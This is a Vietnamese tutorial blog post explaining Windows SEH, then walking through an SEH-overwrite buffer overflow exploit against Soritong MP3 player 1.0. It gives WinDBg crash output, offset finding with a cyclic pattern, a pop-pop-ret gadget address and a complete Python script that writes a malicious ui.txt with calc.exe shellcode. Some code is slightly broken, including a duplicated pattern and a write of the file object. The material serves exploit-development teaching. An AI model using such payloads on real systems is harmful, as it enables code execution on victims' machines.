I. Sơ lược đơn giản về SEH
SEH là cơ chế nhận những ngoại lệ xảy ra và xử lý chúng (Structure Exception Handler).
Đơn giản qua đoạn code sau:
try{
//code here
}catch(Exception){
//xử lý exception
}
Trên Windows SEH được lưu address trong stack 8 bytes gồm 2 phần 4 bytes đầu trỏ đến next exception, phần 2 trỏ đến exception handler.
4 byte 0xFFFFFFFF đánh dấu chuỗi bắt ngoại lệ kết thúc.
Ví dụ 1 đoạn code sau, biên dịch trên Visual Studio 2005.
#include<stdio.h>
#include<string.h>
#include<windows.h>int ExceptionHandler(void);
int main(int argc,char *argv[]){char temp[512];printf(“Application launched”);__try {strcpy(temp,argv[1]);} __except ( ExceptionHandler() ){
}
return 0;
}
int ExceptionHandler(void){
printf(“Exception”);
return 0;
}
Chạy chương trình bằng chương trình Immunity Debuger, xem phần stack ta sẽ thấy phần như hình.
ta thấy địa chỉ 0x0012f080 chứa địa chỉ 0x0012f0f0 trỏ đến phần tiếp của SEH record, địa chỉ 0x0012f084 chứa địa chỉ 0x10212d90 địa chỉ hàm ExceptionHandler.
Tóm lại SEH là cơ chê xử lý lỗi của Windows Kernel, mục đích để đón bắt và xử lý những lỗi xảy ra khi thực thi 1 chương trình, mặc dù chương trình của bạn thiết kế không sử dụng khối try…catch để handler exception thì chuỗi đón bắt ngoại lệ được đưa vào 1 cách ngầm định.
II. Khai thác BOF thông qua SEH
Yêu cầu: Windows XP SP2
Debuger : OllyDBg, Immunity Debuger, WinDBg
Ở đây tôi chọn WinDBg để exploit chương trình
Chương trình lỗi Soritong MP3 player 1.0 download tại link này :https://docs.google.com/file/d/0B0D1DYQpkA9UazVnQUFuazNtV0k/edit?usp=sharing
Trương trình bị overflow stack ở phần setup GUI cho giao diện, chạy script ở dưới để gen file ui.txt:
from struct import *junk = ‘A’*5000fw = open(‘ui.txt’,’w’)fw.write(fw)fw.close()
Chạy WinDBg vào File > Open Execute file chọn file SoriSong.exe ở thư mục cài đặt.
Gõ g để chạy chương trình.
(c84.ac0): Access violation – code c0000005 (first chance)First chance exceptions are reported before any exception handling.This exception may be expected and handled.
Ta nhận được lỗi trên, địa chỉ exception bị ovewrite. View stack, gõ d esp.
Ta thấy chuỗi byte được bôi đậm là chuỗi byte đánh dấu sự kết thúc của chuỗi exception handler.
Gõ !analyze -v
Ta nhận được output, địa chỉ trỏ đến exception handler là 0x00422e33 (địa chi của stack) :
EXCEPTION_RECORD: ffffffff — (.exr 0xffffffffffffffff)ExceptionAddress: 00422e33 (SoriTong!TmC13_5+0x00003ea3)ExceptionCode: c0000005 (Access violation)ExceptionFlags: 00000000NumberParameters: 2Parameter[0]: 00000001Parameter[1]: 00130000Attempt to write to address 00130000FAULTING_THREAD: 00000ac0PROCESS_NAME: SoriTong.exeADDITIONAL_DEBUG_TEXT:Use ‘!findthebuild’ command to search for the target build information.If the build information is available, run ‘!findthebuild -s ; .reload’ to set symbol path and load symbols.FAULTING_MODULE: 7c900000 ntdllDEBUG_FLR_IMAGE_TIMESTAMP: 37dee000ERROR_CODE: (NTSTATUS) 0xc0000005 – The instruction at “0x%08lx” referenced memory at “0x%08lx”. The memory could not be “%s”.EXCEPTION_CODE: (NTSTATUS) 0xc0000005 – The instruction at “0x%08lx” referenced memory at “0x%08lx”. The memory could not be “%s”.EXCEPTION_PARAMETER1: 00000001EXCEPTION_PARAMETER2: 00130000WRITE_ADDRESS: 00130000FOLLOWUP_IP:SoriTong!TmC13_5+3ea300422e33 8810 mov byte ptr [eax],dlMOD_LIST: <ANALYSIS/>BUGCHECK_STR: APPLICATION_FAULT_INVALID_POINTER_WRITE_WRONG_SYMBOLS_EXPLOITABLEPRIMARY_PROBLEM_CLASS: INVALID_POINTER_WRITE_EXPLOITABLEDEFAULT_BUCKET_ID: INVALID_POINTER_WRITE_EXPLOITABLEIP_ON_HEAP: 41414141IP_IN_FREE_BLOCK: 41414141FRAME_ONE_INVALID: 1LAST_CONTROL_TRANSFER: from 41414141 to 00422e33STACK_TEXT:WARNING: Stack unwind information not available. Following frames may be wrong.0012fd38 41414141 41414141 41414141 41414141 SoriTong!TmC13_5+0x3ea30012fd3c 41414141 41414141 41414141 41414141 0x414141410012fd40 41414141 41414141 41414141 41414141 0x414141410012fd44 41414141 41414141 41414141 41414141 0x414141410012fd48 41414141 41414141 41414141 41414141 0x414141410012fd4c 41414141 41414141 41414141 41414141 0x414141410012fd50 41414141 41414141 41414141 41414141 0x414141410012fd54 41414141 41414141 41414141 41414141 0x414141410012fd58 41414141 41414141 41414141 41414141 0x414141410012fd5c 41414141 41414141 41414141 41414141 0x414141410012fd60 41414141 41414141 41414141 41414141 0x414141410012fd64 41414141 41414141 41414141 41414141 0x414141410012fd68 41414141 41414141 41414141 41414141 0x414141410012fd6c 41414141 41414141 41414141 41414141 0x414141410012fd70 41414141 41414141 41414141 41414141 0x414141410012fd74 41414141 41414141 41414141 41414141 0x414141410012fd78 41414141 41414141 41414141 41414141 0x41414141SYMBOL_STACK_INDEX: 0SYMBOL_NAME: soritong!TmC13_5+3ea3FOLLOWUP_NAME: MachineOwnerMODULE_NAME: SoriTongIMAGE_NAME: SoriTong.exeSTACK_COMMAND: ~0s ; kbBUCKET_ID: WRONG_SYMBOLSFAILURE_BUCKET_ID: INVALID_POINTER_WRITE_EXPLOITABLE_c0000005_SoriTong.exe!TmC13_5Followup: MachineOwner
Gõ d fs:[0] dump TEB ta sẽ có output
0:000> d fs:[0]003b:00000000 64 fd 12 00 00 00 13 00-00 c0 12 00 00 00 00 00 d……………003b:00000010 00 1e 00 00 00 00 00 00-00 f0 fd 7f 00 00 00 00 …………….003b:00000020 84 0c 00 00 c0 0a 00 00-00 00 00 00 08 2a 14 00 ………….*..003b:00000030 00 80 fd 7f 00 00 00 00-00 00 00 00 00 00 00 00 …………….003b:00000040 e0 d2 d2 e2 00 00 00 00-00 00 00 00 00 00 00 00 …………….003b:00000050 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 …………….003b:00000060 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 …………….003b:00000070 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 …………….
Địa chỉ 0x0012fd64 là địa chỉ trỏ phần đón bắt exception.
0:000> d 0012fd640012fd64 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA0012fd74 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA0012fd84 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA0012fd94 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA0012fda4 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA0012fdb4 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA0012fdc4 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA0012fdd4 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
Ta thấy địa chỉ này đã bị overwrite, gõ tiếp !exchain
0:000> !exchain0012fd64: 41414141Invalid exception stack at 41414141
Tuyệt 
Nhấn phím F5 hoặc gõ lệnh g để tiếp tục chương trình
0:000> g(c84.ac0): Access violation – code c0000005 (first chance)First chance exceptions are reported before any exception handling.This exception may be expected and handled.eax=00000000 ebx=00000000 ecx=41414141 edx=7c9032bc esi=00000000 edi=00000000eip=41414141 esp=0012d644 ebp=0012d664 iopl=0 nv up ei pl zr na pe nccs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=0001024641414141 ?? ???
Bây giờ eip đã trỏ đến 41414141(AAAA), nghĩa là ta có thể điều khiển được luồng thực thi của chương trình.
Bắt đầu viết playload nào :D.
Payload sẽ hoạt động theo cơ chế sau:
Đầu tiên chương trình khi trigger ngoại lệ sẽ thực thi phần <pop,pop,ret> mục đích giảm esp trỏ đến vị trí cuối của junk ( tăng esp lên 8bytes, có thể chọn gadgets mov esp,0x8 để thay thế) , mục đích để trigger phần <jump to shellcode>
khi exception xảy ra:
(1)—————-(2)————–(3)————(4)
[ Junk buffer ][ next SEH ][ SE Handler ][ Shellcode ]
[ Junk buffer ][ next SEH ][ SE Handler ][ Shellcode ]
SE Handler sẽ được kích hoạt , thực thi phần handler.
Lợi dụng cơ chế này SE Handler sẽ làm cho ESP trỏ đến SEH Handler trỏ về next SEH mục đích jump tơi ShellCode và execute shellcode
SEH Handler —->(3)[pop pop ret] —->(2)[jump shellcode] —–> (4)[execute shellcode]
pop pop ret tăng esp lên 8 bytes về vị trí cuối của junk buffer mục đích trỏ về next SEH
junk = “Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac”+
“6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2A”+
“f3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9″+
“Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak”+
“6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2A”+
“n3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9″+
“Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As”+
“6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2A”+
“v3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9″+
“Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba”+
“6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2B”+
“d3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9″+
“Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9Bi0Bi1Bi2Bi3Bi4Bi5Bi”+
“6Bi7Bi8Bi9Bj0Bj1Bj2Bj3Bj4Bj5Bj6Bj7Bj8Bj9Bk0Bk1Bk2Bk3Bk4Bk5Bk6Bk7Bk8Bk9Bl0Bl1Bl2B”+
“l3Bl4Bl5Bl6Bl7Bl8Bl9Bm0Bm1Bm2Bm3Bm4Bm5Bm6Bm7Bm8Bm9Bn0Bn1Bn2Bn3Bn4Bn5Bn6Bn7Bn8Bn9″+
“Bo0Bo1Bo2Bo3Bo4Bo5Bo6Bo7Bo8Bo9Bp0Bp1Bp2Bp3Bp4Bp5Bp6Bp7Bp8Bp9Bq0Bq1Bq2Bq3Bq4Bq5Bq”+
“6Bq7Bq8Bq9Br0Br1Br2Br3Br4Br5Br6Br7Br8Br9Bs0Bs1Bs2Bs3Bs4Bs5Bs6Bs7Bs8Bs9Bt0Bt1Bt2B”+
“t3Bt4Bt5Bt6Bt7Bt8Bt9Bu0Bu1Bu2Bu3Bu4Bu5Bu6Bu7Bu8Bu9Bv0Bv1Bv2Bv3Bv4Bv5Bv6Bv7Bv8Bv9″+
“Bw0Bw1Bw2Bw3Bw4Bw5Bw6Bw7Bw8Bw9Bx0Bx1Bx2Bx3Bx4Bx5Bx6Bx7Bx8Bx9By0By1By2By3By4By5By”+
“6By7By8By9Bz0Bz1Bz2Bz3Bz4Bz5Bz6Bz7Bz8Bz9Ca0Ca1Ca2Ca3Ca4Ca5Ca6Ca7Ca8Ca9Cb0Cb1Cb2C”+
“b3Cb4Cb5Cb6Cb7Cb8Cb9Cc0Cc1Cc2Cc3Cc4Cc5Cc6Cc7Cc8Cc9Cd0Cd1Cd2Cd3Cd4Cd5Cd6Cd7Cd8Cd9″+
“Ce0Ce1Ce2Ce3Ce4Ce5Ce6Ce7Ce8Ce9Cf0Cf1Cf2Cf3Cf4Cf5Cf6Cf7Cf8Cf9Cg0Cg1Cg2Cg3Cg4Cg5Cg”+
“6Cg7Cg8Cg9Ch0Ch1Ch2Ch3Ch4Ch5Ch6Ch7Ch8Ch9Ci0Ci1Ci2Ci3Ci4Ci5Ci6Ci7Ci8Ci9Cj0Cj1Cj2C”+
“j3Cj4Cj5Cj6Cj7Cj8Cj9Ck0Ck1Ck2Ck3Ck4Ck5Ck6Ck7Ck8Ck9Cl0Cl1Cl2Cl3Cl4Cl5Cl6Cl7Cl8Cl9″+
“Cm0Cm1Cm2Cm3Cm4Cm5Cm6Cm7Cm8Cm9Cn0Cn1Cn2Cn3Cn4Cn5Cn6Cn7Cn8Cn9Co0Co1Co2Co3Co4Co5Co”
“6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2A”+
“f3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9″+
“Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak”+
“6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2A”+
“n3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9″+
“Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As”+
“6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2A”+
“v3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9″+
“Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba”+
“6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2B”+
“d3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9″+
“Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9Bi0Bi1Bi2Bi3Bi4Bi5Bi”+
“6Bi7Bi8Bi9Bj0Bj1Bj2Bj3Bj4Bj5Bj6Bj7Bj8Bj9Bk0Bk1Bk2Bk3Bk4Bk5Bk6Bk7Bk8Bk9Bl0Bl1Bl2B”+
“l3Bl4Bl5Bl6Bl7Bl8Bl9Bm0Bm1Bm2Bm3Bm4Bm5Bm6Bm7Bm8Bm9Bn0Bn1Bn2Bn3Bn4Bn5Bn6Bn7Bn8Bn9″+
“Bo0Bo1Bo2Bo3Bo4Bo5Bo6Bo7Bo8Bo9Bp0Bp1Bp2Bp3Bp4Bp5Bp6Bp7Bp8Bp9Bq0Bq1Bq2Bq3Bq4Bq5Bq”+
“6Bq7Bq8Bq9Br0Br1Br2Br3Br4Br5Br6Br7Br8Br9Bs0Bs1Bs2Bs3Bs4Bs5Bs6Bs7Bs8Bs9Bt0Bt1Bt2B”+
“t3Bt4Bt5Bt6Bt7Bt8Bt9Bu0Bu1Bu2Bu3Bu4Bu5Bu6Bu7Bu8Bu9Bv0Bv1Bv2Bv3Bv4Bv5Bv6Bv7Bv8Bv9″+
“Bw0Bw1Bw2Bw3Bw4Bw5Bw6Bw7Bw8Bw9Bx0Bx1Bx2Bx3Bx4Bx5Bx6Bx7Bx8Bx9By0By1By2By3By4By5By”+
“6By7By8By9Bz0Bz1Bz2Bz3Bz4Bz5Bz6Bz7Bz8Bz9Ca0Ca1Ca2Ca3Ca4Ca5Ca6Ca7Ca8Ca9Cb0Cb1Cb2C”+
“b3Cb4Cb5Cb6Cb7Cb8Cb9Cc0Cc1Cc2Cc3Cc4Cc5Cc6Cc7Cc8Cc9Cd0Cd1Cd2Cd3Cd4Cd5Cd6Cd7Cd8Cd9″+
“Ce0Ce1Ce2Ce3Ce4Ce5Ce6Ce7Ce8Ce9Cf0Cf1Cf2Cf3Cf4Cf5Cf6Cf7Cf8Cf9Cg0Cg1Cg2Cg3Cg4Cg5Cg”+
“6Cg7Cg8Cg9Ch0Ch1Ch2Ch3Ch4Ch5Ch6Ch7Ch8Ch9Ci0Ci1Ci2Ci3Ci4Ci5Ci6Ci7Ci8Ci9Cj0Cj1Cj2C”+
“j3Cj4Cj5Cj6Cj7Cj8Cj9Ck0Ck1Ck2Ck3Ck4Ck5Ck6Ck7Ck8Ck9Cl0Cl1Cl2Cl3Cl4Cl5Cl6Cl7Cl8Cl9″+
“Cm0Cm1Cm2Cm3Cm4Cm5Cm6Cm7Cm8Cm9Cn0Cn1Cn2Cn3Cn4Cn5Cn6Cn7Cn8Cn9Co0Co1Co2Co3Co4Co5Co”
Chạy chương trình với junk như trên ta có
0:000> !exchain
0012fd64: <Unloaded_ud.drv>+41367440 (41367441)
Invalid exception stack at 35744134
35744134 => 34 41 74 35 => At6A SEH bị overwrite ở offset 588 -> offset 584 address trỏ đến next exception handler.
Tìm address của intructor pop,pop,ret, có thẻ dùng immunity debuger để search gadgets, , click chuột phải vào phần code assembly chọn Search For -> Search for all sequence for all modules
gõ:
pop R32pop R32retn
ta có kết quả sau
ta chọn sequence:
1001B7B8 5E POP ESI
1001B7B9 5B POP EBX
1001B7BA C3 RETN
Phần [next SEH] ta sẽ set intruction jump tới phần [shellcode] dùng instruction đơn giản 0xeb và 0x06 còn 2 bytes còn lại sẽ fill nop bytes 0x90
Đây là payload của tôi:
from struct import *#1001B7B8 5E POP ESI#1001B7B9 5B POP EBX#1001B7BA C3 RETNuitxt = ‘ui.txt’junk = ‘A’*584junk += ‘\xeb\x06\x90\x90′ #jumpjunk += pack(‘<I’,0x1001B7B8)shellcode = ‘\x31\xC9\x51\x68\x63\x61\x6C\x63\x54\xB8\xC7\x93\xC2\x77\xFF\xD0′ #excute calc.exenop = ‘\x90’*1000payload = junk + shellcode + nopprint ‘Generating PayLoad’print ‘len(payload) = ‘,len(payload)fw = open(uitxt,’w’)fw.write(payload)fw.close()
Restart debug lại gõ g 2 lần và ta đã exploit được phần mềm.
Peter Nguyen
0 comments: